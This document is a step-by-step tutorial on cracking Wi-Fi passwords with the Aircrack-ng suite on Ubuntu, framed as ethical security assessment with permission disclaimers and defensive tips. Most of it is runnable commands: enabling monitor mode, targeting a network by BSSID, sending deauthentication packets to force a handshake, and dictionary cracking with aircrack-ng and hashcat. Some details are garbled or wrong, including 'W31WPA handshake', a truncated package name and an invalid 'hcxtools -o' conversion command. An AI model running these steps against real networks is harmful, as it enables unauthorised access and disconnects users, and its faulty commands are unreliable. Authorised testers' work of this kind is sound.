Below is a comprehensive guide on using `airmon-ng` to perform a Wi-Fi network security assessment, including explanations of key terms, required programs, installation steps on Ubuntu, and a step-by-step process for ethical hacking. This guide focuses on using the Aircrack-ng suite to capture and analyze Wi-Fi packets, emphasizing legal and ethical considerations. Unauthorized hacking is illegal and unethical, so ensure you have explicit permission to test any network.

Guide to Using Airmon-ng for Wi-Fi Network Security Assessment on Ubuntu

This guide provides a step-by-step process for using `airmon-ng` and related tools from the Aircrack-ng suite to assess Wi-Fi network security. It includes installation instructions for Ubuntu, explanations of key terms, and a detailed tutorial on capturing and analyzing Wi-Fi packets. **Important**: This guide is for educational purposes only. Unauthorized access to Wi-Fi networks is illegal and unethical. Always obtain explicit permission from the network owner before performing any security testing.

Legal and Ethical Considerations

Hacking or scanning a Wi-Fi network without permission is illegal in many jurisdictions (e.g., under laws like the U.S. Computer Fraud and Abuse Act or Germany's Sec. 202a and 202b). Ensure you have written authorization to test the network. This guide is intended for ethical hacking, penetration testing, or securing your own network.

Key Terms Explained

Before diving into the technical steps, let’s clarify important Wi-Fi and hacking terms:

- **SSID (Service Set Identifier)**: The name of the Wi-Fi network (e.g., "HomeWiFi" or "Starbucks"). It’s broadcast by the access point (AP) to identify the network.
- **BSSID (Basic Service Set Identifier)**: The unique MAC address of the access point (e.g., `00:11:22:33:44:55`). It distinguishes one AP from others, even if they have the same SSID.
- **MAC Address**: A 48-bit unique identifier (e.g., `00:1A:2B:3C:4D:5E`) assigned to network devices for communication.

- **Monitor Mode**: A mode where the wireless card captures all Wi-Fi packets within range, regardless of their destination, without needing to connect to a network.
- **Managed Mode**: The default mode of a wireless card, where it only captures packets addressed to its MAC address.
- **Channel**: Wi-Fi networks operate on specific frequency channels (1–14 for 2.4 GHz, or higher for 5 GHz). Tools like `airmon-ng` can set the card to listen on a specific channel.
- **WEP/WPA/WPA2**: Security protocols for Wi-Fi networks. WEP is outdated and insecure; WPA and WPA2 (using pre-shared keys, PSK) are more secure but can be vulnerable to brute-force attacks if weak passwords are used.
- **4-Way Handshake**: A process in WPA/WPA2 where a client and AP exchange packets to establish a connection. Capturing this handshake is key to cracking WPA/WPA2 passwords.
- **Pcap File**: A packet capture file (`.pcap` or `.cap`) that stores raw network packets for analysis with tools like Wireshark or Aircrack-ng.

Prerequisites

To follow this guide, you'll need:

- A computer running Ubuntu (e.g., Ubuntu 20.04 or later).
- A compatible wireless adapter that supports monitor mode and packet injection. Common options include:
  - TP-Link TL-WN722N (Realtek RTL8188EUS chipset).
  - Alfa Network AWUS036NHA (Atheros AR9271 chipset).
  - Check compatibility at Aircrack-ng's supported devices list.
- Administrative (root) privileges on your Ubuntu system.
- An internet connection for installing tools.

Required Programs

The primary tool is `airmon-ng` , part of the Aircrack-ng suite. Additional tools from the suite and others are used for specific tasks:

- **Aircrack-ng Suite**:
  - `airmon-ng` : Enables monitor mode on wireless interfaces.
  - `airodump-ng` : Captures Wi-Fi packets and lists networks/clients.
  - `aireplay-ng` : Performs attacks like deauthentication to force handshakes.
  - `aircrack-ng` : Cracks WEP/WPA/WPA2 passwords using captured data.
- **Wireshark**: Analyzes captured packets (optional for detailed inspection).
- **Optional Tools**:
  - `iwconfig` : Checks wireless interface status.
  - `hashcat` : Faster password cracking (alternative to `aircrack-ng` for WPA/WPA2).

Installation on Ubuntu

Follow these steps to install the required tools:

1. **Update Ubuntu**: Ensure your system is up-to-date to avoid compatibility issues.

   ```
   sudo apt-get update
   sudo apt-get upgrade
   ```

2. **Install Aircrack-ng**: Aircrack-ng is available in Ubuntu's repositories.

   ```
   sudo apt-get install aircrack-ng
   ```

   This installs `airmon-ng` , `airodump-ng` , `aireplay-ng` , `aircrack-ng` , and other tools in the suite.

3. **Install Wireshark (Optional)**: Wireshark is useful for analyzing captured packets.

   ```
   sudo apt-get install wireshark
   ```

During installation, choose whether to allow non-root users to capture packets (recommended for ease of use).

4. **Install Hashcat (Optional)**: Hashcat is a powerful tool for cracking WPA/WPA2 handshakes.

   ```
   sudo apt-get install hashcat
   ```

5. **Verify Wireless Adapter**: Plug in your wireless adapter and check if it's detected:

   ```
   iwconfig
   ```

   Look for your wireless interface (e.g., `wlan0`). If not detected, you may need to install drivers for your adapter's chipset (e.g., `rtl8188eu` for TP-Link TL-WN722N). Search for chipset-specific drivers on GitHub or the manufacturer's site.

6. **Install Additional Dependencies**: Some Aircrack-ng features require extra packages:

   ```
   sudo apt-get install build-essential autoconf automake libtool pkg-config libnl-3-dev libnl-genl-3-dev libssl-de
   ```

   These ensure compatibility and support for advanced features like SSID filtering or packet injection.

Step-by-Step Guide to Using Airmon-ng for Wi-Fi Security Assessment

This section walks you through using `airmon-ng` and related tools to assess a Wi-Fi network's security by capturing packets and attempting to crack a WPA/WPA2 password. **Ensure you have permission to test the target network.**

Step 1: Identify Your Wireless Interface

1. Run `iwconfig` to list wireless interfaces:

```
   iwconfig
   ```

   Example output:

   ```
   wlan0     IEEE 802.11  ESSID:off/any
             Mode:Managed  Access Point: Not-Associated
   ```

   Note the interface name (e.g., `wlan0`).

2. If no wireless interface appears, ensure your adapter is plugged in and drivers are installed.

Step 2: Kill Interfering Processes

Network managers (e.g., NetworkManager) can interfere with `airmon-ng` . Terminate them:

```
sudo airmon-ng check kill
```

This stops processes like `NetworkManager` , `wpa_supplicant` , and `dhclient` . Example output:

```
Found 3 processes that could cause trouble:
PID   Name
718   NetworkManager
870   dhclient
1115  wpa_supplicant
Killing these processes...
```

Step 3: Enable Monitor Mode

Put your wireless adapter into monitor mode:

```
sudo airmon-ng start wlan0
```

- Replace `wlan0` with your interface name.
- This creates a new interface (e.g., `wlan0mon`).
- Verify with:

  ```
  iwconfig
  ```

  Example output:

  ```
  wlan0mon  IEEE 802.11  Mode:Monitor  Frequency:2.457 GHz
  ```

Step 4: Scan for Wi-Fi Networks

Use `airodump-ng` to discover nearby networks:

```
sudo airodump-ng wlan0mon
```

- This lists available networks with details like BSSID, SSID, channel, encryption (WEP/WPA/WPA2), and connected clients.
- Example output:

  ```
  CH  6 ][ Elapsed: 1 min ][ 2025-08-02 21:45
  BSSID              PWR  Beacons   #Data  CH  ENC  CIPHER  AUTH  ESSID
  00:14:6C:7E:40:80  -30  100       50     6   WPA2 CCMP    PSK   HomeWiFi
  ```

- Note the target network's BSSID, channel, and SSID (e.g., `HomeWiFi`).

Step 5: Capture Packets from a Specific Network

Focus on a specific network to capture packets, including the 4-way handshake:

```
sudo airodump-ng -c 6 --bssid 00:14:6C:7E:40:80 -w capture wlan0mon
```

- `-c 6` : Specifies the channel (e.g., channel 6).
- `--bssid 00:14:6C:7E:40:80` : Targets the network's MAC address.
- `-w capture` : Saves packets to files prefixed with `capture` (e.g., `capture-01.cap`).
- Look for a "W31WPA handshake" message in the output, indicating a successful handshake capture.

Step 6: Perform a Deauthentication Attack (Optional)

If the handshake isn't captured (e.g., no clients connect), force a client to reconnect:

1. Identify a client's MAC address from the `airodump-ng` output (in the lower table, under "STATION").
2. Run:

   ```
   sudo aireplay-ng --deauth 10 -a 00:14:6C:7E:40:80 -c 00:0F:B5:FD:FB:C2 wlan0mon
   ```

   - `--deauth 10` : Sends 10 deauthentication packets.
   - `-a` : Access point BSSID.
   - `-c` : Client MAC address.
   - This forces the client to reconnect, triggering a handshake.

Step 7: Crack the WPA/WPA2 Password

Once the handshake is captured (check `airodump-ng` output), use `aircrack-ng` to crack the password:

1. Download a wordlist (e.g., `rockyou.txt`):

```
wget https://github.com/danielmiessler/SecLists/raw/master/Passwords/Leaked-Databases/rockyou.txt.tar.gz
tar -xvzf rockyou.txt.tar.gz
```

2. Run:

   ```
   sudo aircrack-ng -w rockyou.txt -b 00:14:6C:7E:40:80 capture-01.cap
   ```

   - `-w rockyou.txt` : Specifies the wordlist.
   - `-b` : Target BSSID.
   - This attempts to crack the password using a dictionary attack. Success depends on the password being in the wordlist and your CPU's speed (50–300 keys/second).

3. **Optional: Use Hashcat for Faster Cracking**: Convert the `.cap` file to Hashcat format:

   ```
   hcxtools -o hash.hc22000 capture-01.cap
   ```

   Run Hashcat:

   ```
   hashcat -m 22000 hash.hc22000 rockyou.txt
   ```

   - Hashcat is faster on systems with powerful GPUs.

Step 8: Analyze Packets with Wireshark (Optional)

Open the `capture-01.cap` file in Wireshark to inspect packets:

```
wireshark capture-01.cap &
```

- Use filters like `wlan.fc.type_subtype == 0` (association request) or `wlan.fc.type_subtype == 5` (probe response) to analyze specific packet types.

Step 9: Return to Managed Mode

After testing, restore your adapter to managed mode:

```
sudo airmon-ng stop wlan0mon
sudo systemctl start NetworkManager
```

Security Recommendations

To protect your Wi-Fi network from such attacks:

- Use WPA2 (or WPA3) with a strong, random password (at least 12 characters, including letters, numbers, and symbols).
- Disable WPS (Wi-Fi Protected Setup), as it's vulnerable to attacks.
- Use MAC address filtering to restrict device connections (though MACs can be spoofed).
- Disable SSID broadcasting to reduce visibility (note: hidden SSIDs can still be discovered, as shown in Step 4).
- Regularly monitor network activity with tools like Wireshark.

Troubleshooting

- **No networks shown in `airodump-ng`**: Ensure your adapter supports monitor mode. Check drivers or try a different adapter.
- **Interface reverts to managed mode**: Re-run `airmon-ng check kill` to stop interfering processes.
- **No handshake captured**: Ensure clients are connecting, or increase deauthentication packets (`--deauth 20`).
- **Slow cracking**: Use a stronger CPU/GPU or a more targeted wordlist.

Additional Resources

- Aircrack-ng Official Documentation
- Kali Linux Tools
- Wi-Fi Security Guide

Conclusion

Using `airmon-ng` and the Aircrack-ng suite, you can assess Wi-Fi network security by capturing packets and testing password strength. Always ensure you have permission to test networks, as unauthorized access is illegal. By understanding vulnerabilities, you can better secure your own network against potential threats.